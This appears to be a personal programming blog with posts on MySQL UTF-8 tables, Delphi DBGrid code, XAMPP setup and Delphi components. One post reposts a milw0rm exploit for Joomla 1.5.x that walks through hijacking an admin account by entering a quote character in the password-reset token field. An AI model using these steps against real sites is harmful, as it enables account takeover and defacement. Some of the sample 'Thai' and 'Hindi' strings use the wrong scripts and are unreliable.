Newbie of Delphi and PHP

Make Database MySQL support Multi-Language

2009-06-13T06:04:00.001-07:00

Default, database MySQL supports many european languages, since unicode character(UTF-8) support implemented in mysql it allows us to store many of the indian (Asian) languages.

Here, we want to store and manipulate multi languages in mysql table for developing globalization / locale support enabled sites.

How to manipulate MySQL to supports multi-language, following below steps:

First, create a table multi-language in mysql with below scripts:

CREATE TABLE multi_language
(
id INTEGER NOT NULL AUTO_INCREMENT,
language VARCHAR(30),
characters TEXT,
PRIMARY KEY(id)
) ENGINE=INNODB CHARACTER SET = utf8;
INSERT INTO multi_language VALUES (NULL, ‘English’, ‘abcdefghijklmnopqsrtuvwxyz’);
INSERT INTO multi_language VALUES (NULL, ‘Arabic’, ‘ﺃ‎ﺏﺝﺩ‎ﻫﻭﺯﺡﻁﻱﻙﻝ‎ﻡﻥ’);
INSERT INTO multi_language VALUES (NULL, ‘Arabic’, ‘ﺃ‎ﺏﺝﺩ‎ﻫﻭﺯﺡﻁﻱﻙﻝ‎ﻡ ﻥ’);
INSERT INTO multi_language VALUES (NULL, ‘Hindi’, ‘ਓਊਨਣਥਨਫ’);
INSERT INTO multi_language VALUES (NULL, ‘Thai’, ‘ЁώύЂЬЫЗЪШДГЦШГЕ’);
INSERT INTO multi_language VALUES (NULL, ‘Telugu’, ‘ని మీ హొమ్ పేజిగా అమర్చుకోండి’);
INSERT INTO multi_language VALUES (NULL, ‘Tamil’, ‘இந்தியா நாட்டின் பக்கங்கள்’);
INSERT INTO multi_language VALUES (NULL, ‘Arabic’, ‘البحث في الصفحات العربية ‘);
INSERT INTO multi_language VALUES (NULL, ‘Korean’, ‘시작페이지로 하세요 채용정보 광고 프로그램 정보’);

Change the client character set with Commands:

For Client Side

SET NAMES ‘utf8′;

To Set Locale time zone name

SET @@lc_time_names = ‘en_US’;

To Set Tamil language: SET @@lc_time_names = ‘ta_IN’;

Now, Check out the result.

IMPORTANTS!!!

1. You need to install the Extral language support in your system (windows XP), Control Panel -> Regional and Language Option -> Languages -> Install files languages (Thai)

2. You need to include below the Meta tag:

How to Get DBGrid Cell Coordinates on StatusBar

2009-06-09T22:02:00.001-07:00

Source code from delphi.about.com for get DBGrid Cell Coordinate on statusbar was modified by newbiedelphiphp, look below source.

The code to show over what cell in a DBGrid the cursor is, and how to change the cursor on status bar:

procedure Tfrandom.DBGrid1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var   pt: TGridcoord;
begin
  pt:= DBGrid1.MouseCoord( x, y ) ;
  //change the cursor whe over title
  if pt.y=0 then
    DBGrid1.Cursor:=crHandPoint
  else
    DBGrid1.Cursor:=crDefault;
   If pt.X > 0 Then
     begin
     Caption := Format( 'Kolom: %d, Baris: %d, title: %s',
                [pt.x, pt.y, DBGrid1.columns[pt.x-1].title.caption] );
     statusbar.Panels[1].Text:=Caption;
     end
   Else
     Caption := Format( 'Kolom: %d, Baris: %d',[pt.x, pt.y] ) ;
end;

I was used Borland Delphi 7, if you use delphi 6 i think it’s no different.

Enjoy it!!!

Vulnerability: Joomla 1.5.x (Token) Remote Admin Change Password

2009-06-08T05:30:00.001-07:00

Joomla 1.5.x (Token) Remote Admin Change Password Vulnerability. Following below steps:

  1: #####################################################################################
  2: ####                     Joomla 1.5.x Remote Admin Password Change               ####
  3: #####################################################################################
  4: #                                                                                   #
  5: # Author: d3m0n (d3m0n@o2.pl)                                                       #
  6: # Greets: GregStar, gorion, d3d!k                                                   #
  7: #                                                                                   #
  8: # Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff    #
  9: #                                                                                   #
 10: #####################################################################################
 11: 
 12: 
 13: 
 14: File : /components/com_user/controller.php
 15: 
 16: #####################################################################################
 17: Line : 379-399
 18:  
 19: 	function confirmreset()
 20: 	{
 21: 		// Check for request forgeries
 22: 		JRequest::checkToken() or die( 'Invalid Token' );
 23: 
 24: 		// Get the input
 25: 		$token = JRequest::getVar('token', null, 'post', 'alnum');              < ---  
 26:                   
 27: 		// Get the model
 28: 		$model = &$this->getModel('Reset');
 29: 
 30: 		// Verify the token
 31: 		if ($model->confirmReset($token) === false)   < --- 
 32: 		{
 33: 			$message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
 34: 			$this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
 35: 			return false;
 36: 		}
 37: 
 38: 		$this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
 39: 	}
 40: 	
 41: #####################################################################################
 42: 	
 43: File : /components/com_user/models/reset.php
 44: 
 45: Line: 111-130 	
 46: 	
 47: 	
 48: 	
 49: 	function confirmReset($token)
 50: 	{
 51: 		global $mainframe;
 52: 
 53: 		$db	= &JFactory::getDBO();
 54: 		$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));  < ----  
 55: 
 56: 		// Verify the token
 57: 		if (!($id = $db->loadResult()))
 58: 		{
 59: 			$this->setError(JText::_('INVALID_TOKEN'));
 60: 			return false;
 61: 		}
 62: 
 63: 		// Push the token and user id into the session
 64: 		$mainframe->setUserState($this->_namespace.'token',	$token);
 65: 		$mainframe->setUserState($this->_namespace.'id',	$id);
 66: 
 67: 		return true;
 68: 	}
 69: #####################################################################################
 70: 
 71: 
 72: 
 73:  - Replace ' with empty char
 74:  - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "
 75: 
 76: 
 77: Example :
 78: 
 79: 
 80: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm
 81: 
 82: 2. Write into field "token" char ' and Click OK.
 83: 
 84: 3. Write new password for admin
 85: 
 86: 4. Go to url : target.com/administrator/
 87: 
 88: 5. Login admin with new password
 89: 
 90: # milw0rm.com [2008-08-12]
 91:

How to Install XAMPP on MAC OSX

2009-06-07T20:53:00.001-07:00

Leopard brings one big change to web developers working with Apache, PHP and Mysql on Macintosh. Apache 2 comes with Leopard along with PHP 5. And Know, XAMPP is a free and open source cross-platform web server package, includes Apache HTTP Server, MySQL database, and interpreters for scripts written in the PHP and Perl programming languages.

Developed by Apache and the details are available. If you are a web programmer and you want to test the developed site as how will it look exactly when it is launched on the we, it can helps you. Makes your machine run as a web sever and host sites locally.

How to Download and Install XAMPP on your MAC.

Following below link, a complete list of downloads (older versions) is available at sourceforge. Link of Download XAMPP for MAC: www.apachefriends.org)
Open the *.dmg file and the very first thing you need to do is move or drag xampp folder into you applications folder.
In order to run this all you need to do is open xampp control and launch Apache, MySQL and ProFTPD, where ProFTPD is not required until you have to upload the site on the server on the web.
The final, check this application with browser. Open your browser and type http://localhost and you should see a page like below.

For more info about XAMPP here.

How to Fix your localhost

2009-05-31T07:17:00.001-07:00

There’s some of error in your localhost when you want to access it with your browser. It’s ‘cause your Apache doesn’t run or your browser maybe worked Offline. So, How to setting if localhost can not access??? Look below some instructions for it.

These’s that Instructions must you do:

Check your browser.Iif your browser was worked offline, you must unchecklist Work Offline at Main Menu Browser (File >> Work Offline)
Check apache2Triad Apache2Service in Services (Control Panel). More problems about this, because Apache Service’s not run. If you want to run it, go to Control Panel >> Administrative Tools >> Services >> right click on apache2Triad Apache2Service >>choose Start.

That’s maybe usefull for you...

Have other tips??? Please, Comment…

Running Delphi 6 on Vista Home Premium, napa tidak… Part1

2009-02-04T23:25:00.000-08:00

Karena laptop aku toshiba M300 tidak berjalan dengan lancar di Windows XP Service Pack 2, makanya aku nge-install OS Windows vista Home Premium. Alhamdulillah, semua drivernya bekerja, dapat dikenali dengan baik dan tidak se-lambat waktu aku pake Win. XP SP2 sebelumnya.

Gambar di atas, aku ambil dari OS VIsta yang running di laptop kesayanganku i2. Running with Borland Delphi 6.0 Enterprise.

Mau tau nggak caranya supaya Delphi 6.0 dapat running/jalan di OS Vista ??? nih dia caranya/prosedur nge-installing-nya:

to be continued…

How to install Komponen GPS ZylGPSREceiver v3.6

2008-12-30T21:39:00.000-08:00

ZylGPSReceiver,merupakan komponen delphi yang digunakan buat kebutuhan alat GPS (Garmin 60i,dll) untuk menentukan posisi (longitude,latitude,altitude) dipermukaan bumi. Kalau yang aku pake disini, versinya 3.50.

Baik,kita langsung aja ke instalasi komponen ZylGPSREceiver v3.50

Persiapan:

Borland Delphi 7.0 Enterprise, itu versi delphi yang aku pake :D
Komponen ZylGPSREceiver v3.50
Smangat yang cukup :)

Prosedur/Langkah-Langkah Penginstalan:

Jalankan Delphi 7.0, dengan cara:

Ekstark komponen yang anda download, komponennya download Komponen ZylGPSREceiver v3.50,
Masuk ke folder “Delphi 7”, lalu copy semua file yang ada ke: “C:\Program Files\Borland Delphi 7\Lib\”
Double Klik File ZylGPSRecPack.dpk yang anda copy tadi ke folder lib.
Lalu akan muncul seperti ini, klik Compile
Kemudian Klik Install, maka akan muncul jendela seperti ini:

Setelah itu, klik OK. kemudian tutp delphinya, jika ada konfirmasi untuk saving, klik tombol Yes

Jika anda berhasil, maka akan muncul seperti ini di Pallete [Tools->Environment Options->pilih tab Pallete] :)

Selamat Mencoba….

How to Install ZylGPSReceiver???

2008-12-26T02:03:00.001-08:00

Karena ingin menampilkan data GPS yang ditangkap oleh Alat pendeteksi GPS (Garmin 60i), aku cari komponen delphi yang support delphi 7 untuk meng-connect-kan dengan Garmin 60i tadi. Seteleh, googling di om-google, aku dapat komponen, nama-nya ZylGPSReceiver 3.50, versinya 3.50, kalau mau donlod disini,...

SMS Nokia 8210 support Infrared dengan Borland Delphi 7.0

2008-12-13T02:07:00.000-08:00

Karena lagi nggak ada kerjaan, akhirnya aku punya inisiatif mau ngulang belajar delphi. Tapi kali ini gue pake delphi 7.0, walaupun sebenarnya aku belajar pertama kali delphi pake delphi 6.0 (*namanya juga blajar :D)

Caranya, tau nggak??? aku iseng-iseng cari source di delphi buat baca dan kirim SMS. Setelah surfing, nggak bgitu lama sih surfingnya, akhirnya dari query om-google dapat link SMSOxygen, download disini

Screenshoot :

sharing Ilmu lewat blog | come back to delphi ...

2008-11-29T23:54:00.000-08:00

Karena ingin tahu lebih banyak tentang delphi (Pemrograman berbasis desktop | GUI), akhirnya aku punya inisiatif buat blog ini.

Newbie Delphier